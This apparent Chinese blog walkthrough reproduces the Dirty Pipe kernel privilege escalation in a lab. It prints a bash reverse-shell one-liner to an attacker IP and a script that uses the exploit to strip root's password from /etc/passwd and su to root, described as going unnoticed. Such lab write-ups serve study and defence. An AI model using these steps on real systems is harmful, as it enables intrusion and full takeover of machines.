Linux内核提权漏洞(Dirty-pipe)复现_linux提权漏洞

前言:CVE-2022-0847 是存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞,可覆盖重写任意可读文件中的数据,从而可将普通权限的用户提升到特权 root。 CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞(Dirty Cow),但它更容易被利用。漏洞作者将此漏洞命名为“Dirty Pipe”。

影响版本:

5.8 <= Linux内核版本 <5.16.11 / 5.15.25 / 5.10.102

0x01 环境部署

  1. 系统版本: Ubuntu 21.10
  2. 系统内核: Linux m1key 5.13.0-16-generic #16-Ubuntu SMP Fri Sep 3 14:53:27 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
  3. 靶机IP:192.168.2.115
  4. 提前安装好apache等组件,在网站根目录上写一个一句话木马。

0x02 连接webshell反弹shell

1、查看靶机上的webshell内容。

2、使用蚁剑连接webshell,打开tmp目录,将准备好的提权exp和反弹shell脚本上传到/tmp目录下。

其中re.sh的内容为:bash -i >& /dev/tcp/192.168.2.1/12345 0>&1.
exp为可执行的提权程序。由于利用方式有点繁琐,所以单独写一个2.sh调用exp来进行一个提权的操作。

3、打开蚁剑虚拟终端,给刚上传上去的三个文件加个权限。
chmod 777 /tmp/*

4、攻击机监听本地端口12345,蚁剑虚拟终端执行bash re.sh

0x03 提权

1、反弹shell之后,就可以执行提权程序了。

2、可以看到我们已经成功获取了root权限。

3、我们可以看看2.sh里面的内容分析一下。

# 备份密码文件
rm -f /tmp/passwd
cp /etc/passwd /tmp/passwd
if [ -f "/tmp/passwd" ];then
 echo "/etc/passwd已备份到/tmp/passwd"
 passwd_tmp=$(cat /etc/passwd|head)
 ./exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}"

 echo -e "\n# 恢复原来的密码\nrm -rf /etc/passwd\nmv /tmp/passwd /etc/passwd"

 # 现在可以无需密码切换到root账号
 su root
else
 echo "/etc/passwd未备份到/tmp/passwd"
 exit 1
fi

先将/etc/passwd文件复制到当前目录,然后利用EXP修改系统的passwd文件使其不用密码就能登录,然后直接su到root,然后再将之前的passwd替换回去,所谓神不知鬼不觉,非常好用。

0x04 获取源码

  1. 由于该exp比较敏感,所以无法公布,想要的小伙伴可以联系我企鹅群获取。
  2. 相关视频链接:https://www.bilibili.com/video/BV1SZ4y1r74E/?spm_id_from=333.999.0.0&vd_source=913edb0b204c3345e9e76e1981bc8198

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

  • 8
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值